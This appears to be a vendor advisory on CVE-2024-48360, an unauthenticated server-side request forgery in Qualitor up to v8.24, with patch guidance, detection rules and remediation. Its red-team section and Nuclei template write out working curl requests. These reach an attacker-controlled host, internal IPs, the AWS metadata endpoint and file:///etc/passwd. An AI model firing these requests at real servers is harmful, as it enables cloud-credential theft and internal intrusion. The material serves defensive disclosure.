CVE-2024-48360

Executive Summary

CVE-2024-48360 is a critical Server-Side Request Forgery (SSRF) vulnerability discovered in Qualitor versions up to and including v8.24. The flaw resides in the /html/ad/adformmobile/request/viewValidacao.php endpoint, where the url parameter is not properly validated. An unauthenticated attacker can force the Qualitor web server to make arbitrary HTTP requests to internal or external systems, potentially leading to data exfiltration, internal network scanning, or pivoting to cloud metadata services.

The vulnerability has a CVSS v3.1 base score of 7.5 (High) and an EPSS score of 0.90962 (99.6th percentile), indicating a high probability of exploitation in the wild. A public proof-of-concept (PoC) and a Nuclei template are available, making this a high-priority threat for any organization using Qualitor.

Supply Chain & Package Security

This vulnerability affects the Qualitor web application, which is a proprietary software package. There are no associated open-source packages (NPM, PyPI, Go, Ruby) to monitor. The risk is limited to direct deployments of the Qualitor application.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) - Exploitable remotely.
• Attack Complexity (AC): Low (L) - No special conditions required.
• Privileges Required (PR): None (N) - No authentication needed.
• User Interaction (UI): None (N) - No user action required.
• Scope (S): Unchanged (U) - The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) - Potential to read internal files or cloud metadata.
• Integrity (I): None (N) - No direct file modification.
• Availability (A): None (N) - No direct denial of service.

CVSS Score: 7.5 (High) EPSS Score: 0.90962 (99.6th percentile) - Very high probability of exploitation. Threat Level: Critical - Public exploit code and active scanning observed.

Deep Dive & Mechanics

The vulnerability is a classic Server-Side Request Forgery (SSRF) in the viewValidacao.php script. The script accepts a url GET parameter and, without proper validation or sanitization, makes an HTTP request to the supplied URL. This allows an attacker to:

1. Internal Network Scanning: Probe internal IP addresses and ports (e.g., http://192.168.1.1:8080).
2. Cloud Metadata Access: Access cloud provider metadata endpoints (e.g., http://169.254.169.254/latest/meta-data/ on AWS).
3. File Read via file:// Protocol: If the application supports it, read local files (e.g., file:///etc/passwd).
4. Blind SSRF to Internal Services: Interact with internal services like databases, Redis, or internal APIs.

The vulnerable code path is in /html/ad/adformmobile/request/viewValidacao.php. The script likely uses a function like file_get_contents() or curl_exec() on the user-supplied URL without checking if the URL points to an internal or restricted resource.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical comparison based on common SSRF mitigation techniques.

Vulnerable Code (Qualitor <= v8.24):

<?php
// viewValidacao.php - VULNERABLE
$url = $_GET['url'];
$response = file_get_contents($url);
echo $response;
?>

Patched Code (Hypothetical):

<?php
// viewValidacao.php - PATCHED
$url = $_GET['url'];

// 1. Validate URL scheme
$allowed_schemes = ['http', 'https'];
$parsed_url = parse_url($url);
if (!in_array($parsed_url['scheme'], $allowed_schemes)) {
    die("Invalid URL scheme.");
}

// 2. Block private IP ranges
$host = $parsed_url['host'];
$ip = gethostbyname($host);
if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
    $response = file_get_contents($url);
    echo $response;
} else {
    die("Access to internal resources is blocked.");
}
?>

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A vulnerable Qualitor instance (v8.24 or earlier).
• An attacker-controlled HTTP listener (e.g., oast.me, Burp Collaborator, or a VPS).

Exploitation Steps:

1. Verify the Vulnerability: Send a request to the vulnerable endpoint with a URL pointing to an external listener.

   curl -v "http://target.com/html/ad/adformmobile/request/viewValidacao.php?url=http://attacker-controlled.com/test"
   

   If the attacker's server receives the request, the vulnerability is confirmed.

2. Internal Network Scanning: Probe internal hosts and ports.

   curl "http://target.com/html/ad/adformmobile/request/viewValidacao.php?url=http://192.168.1.1:80"
   curl "http://target.com/html/ad/adformmobile/request/viewValidacao.php?url=http://10.0.0.1:8080"
   

3. Cloud Metadata Exfiltration (AWS Example):

   curl "http://target.com/html/ad/adformmobile/request/viewValidacao.php?url=http://169.254.169.254/latest/meta-data/"
   

4. File Read (if file:// is supported):

   curl "http://target.com/html/ad/adformmobile/request/viewValidacao.php?url=file:///etc/passwd"
   

No Exploit-DB code was provided.

Blue Team (Defensive)

Detection & Response:

1. Monitor Web Server Logs: Look for requests to /html/ad/adformmobile/request/viewValidacao.php with a url parameter containing internal IP addresses (e.g., 10., 172.16., 192.168.), 169.254.169.254, or file://.
2. Network Monitoring: Detect outbound connections from the Qualitor server to unexpected external hosts or internal IPs that are not part of normal operations.
3. WAF Rules: Block requests to the vulnerable endpoint with suspicious url parameters.
4. Immediate Mitigation: If patching is not possible, remove or disable the viewValidacao.php file or restrict access to it via .htaccess or web server configuration.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Outbound HTTP requests from the Qualitor server to:
    • oast.me, interactsh.com, or other collaborator services.
    • Internal IP addresses (e.g., 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16).
    • Cloud metadata IPs (169.254.169.254, fd00:ec2::254).
  • Requests to file:// URIs in web server logs.

• File IOCs:

  • Access to /etc/passwd, /etc/shadow, or other sensitive files via the web server.

• Log IOCs:

  • Web server access logs containing:

    GET /html/ad/adformmobile/request/viewValidacao.php?url=http://...
    

Detection Engineering

YARA Rule

rule CVE_2024_48360_Qualitor_SSRF {
    meta:
        description = "Detects exploitation attempts of CVE-2024-48360 in Qualitor web logs"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-48360"
        hash = "490a0046304402202378cd476d635e91bce2a69aa78f802621b027a652a8a043f1bc10cee090841102205376ea1840baac14258bc90f4c0a6101b39cb12640526eb33f754b9143629fb9"

    strings:
        $ssrf_path = "/html/ad/adformmobile/request/viewValidacao.php"
        $url_param = "?url="
        $internal_ip = /(10\.\d{1,3}\.\d{1,3}\.\d{1,3}|172\.(1[6-9]|2\d|3[01])\.\d{1,3}\.\d{1,3}|192\.168\.\d{1,3}\.\d{1,3})/
        $cloud_metadata = "169.254.169.254"
        $file_protocol = "file://"

    condition:
        $ssrf_path and $url_param and ($internal_ip or $cloud_metadata or $file_protocol)
}

Sigma Rule

title: Qualitor SSRF Exploitation Attempt (CVE-2024-48360)
id: 7a8b3c2d-1e5f-4a0b-9c8d-7e6f5a4b3c2d
status: experimental
description: Detects HTTP requests targeting the vulnerable Qualitor endpoint with suspicious URL parameters.
author: Valters IT
date: 2024/10/27
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-48360
    - https://github.com/OpenXP-Research/CVE-2024-48360
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-query|contains: "/html/ad/adformmobile/request/viewValidacao.php?url="
    filter_internal:
        cs-uri-query|contains:
            - "169.254.169.254"
            - "file://"
            - "10."
            - "172.16."
            - "172.17."
            - "172.18."
            - "172.19."
            - "172.20."
            - "172.21."
            - "172.22."
            - "172.23."
            - "172.24."
            - "172.25."
            - "172.26."
            - "172.27."
            - "172.28."
            - "172.29."
            - "172.30."
            - "172.31."
            - "192.168."
    condition: selection and filter_internal
falsepositives:
    - Legitimate use of the endpoint for internal validation (if any).
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-48360 - Qualitor SSRF Exploitation Attempt";
    flow:to_server,established;
    content:"/html/ad/adformmobile/request/viewValidacao.php"; http_uri;
    content:"?url="; http_uri;
    pcre:"/(169\.254\.169\.254|file:\/\/|10\.\d{1,3}\.\d{1,3}\.\d{1,3}|172\.(1[6-9]|2\d|3[01])\.\d{1,3}\.\d{1,3}|192\.168\.\d{1,3}\.\d{1,3})/Ri";
    classtype:attempted-recon;
    sid:10000001;
    rev:1;
    reference:url,https://nvd.nist.gov/vuln/detail/CVE-2024-48360;
)

Nuclei Template (Provided)

id: CVE-2024-48360

info:
  name: Qualitor <= v8.24 - Server-Side Request Forgery
  author: s4e-io
  severity: high
  description: |
    Qualitor v8.24 was discovered to contain a Server-Side Request Forgery (SSRF) via the component /request/viewValidacao.php.
  impact: |
    Unauthenticated attackers can force the server to make arbitrary requests via SSRF, potentially accessing internal services.
  remediation: |
    Update Qualitor to a version later than 8.24 that patches the SSRF vulnerability.
  reference:
    - https://github.com/OpenXP-Research/CVE-2024-48360
    - https://packetstormsecurity.com/files/182427/Qualitor-8.24-Server-Side-Request-Forgery.html
    - https://nvd.nist.gov/vuln/detail/CVE-2024-48360
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-48360
    cwe-id: CWE-918
    epss-score: 0.90962
    epss-percentile: 0.99641
  metadata:
    verified: true
    max-request: 2
    vendor: qualitor
    product: qualitor
    fofa-query: icon_hash="-1217039701"
  tags: cve,cve2024,ssrf,qualitor,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(tolower(body), "qualitor")'
          - "status_code == 200"
        condition: and
        internal: true

  - raw:
      - |
        GET /html/ad/adformmobile/request/viewValidacao.php?url=oast.me HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<h1> Interactsh Server </h1>"

      - type: status
        status:
          - 200

Remediation & Mitigation

1. Immediate Action:

   • If possible, remove or rename the vulnerable file /html/ad/adformmobile/request/viewValidacao.php.
   • Restrict access to this file using web server configuration (e.g., .htaccess for Apache):

     <Files "viewValidacao.php">
         Require all denied
     </Files>
     

2. Short-Term Mitigation:

   • Implement a Web Application Firewall (WAF) rule to block requests containing internal IP addresses, 169.254.169.254, or file:// in the url parameter.
   • Monitor logs for exploitation attempts.

3. Long-Term Fix:

   • Apply an official patch from Qualitor when it becomes available.
   • If no patch is released, consider migrating away from Qualitor or implementing a custom patch that validates the url parameter against an allowlist of external domains and blocks private IP ranges.

4. General SSRF Prevention:

   • Never make requests to user-supplied URLs without strict validation.
   • Use an allowlist of permitted domains or IPs.
   • Block access to private and reserved IP ranges.
   • Disable unnecessary URL schemes (e.g., file://, gopher://).

Valters IT
Securing Your Digital Frontier

{/* [Security Hash: F3B35CFB6700F6FA4A012713] */}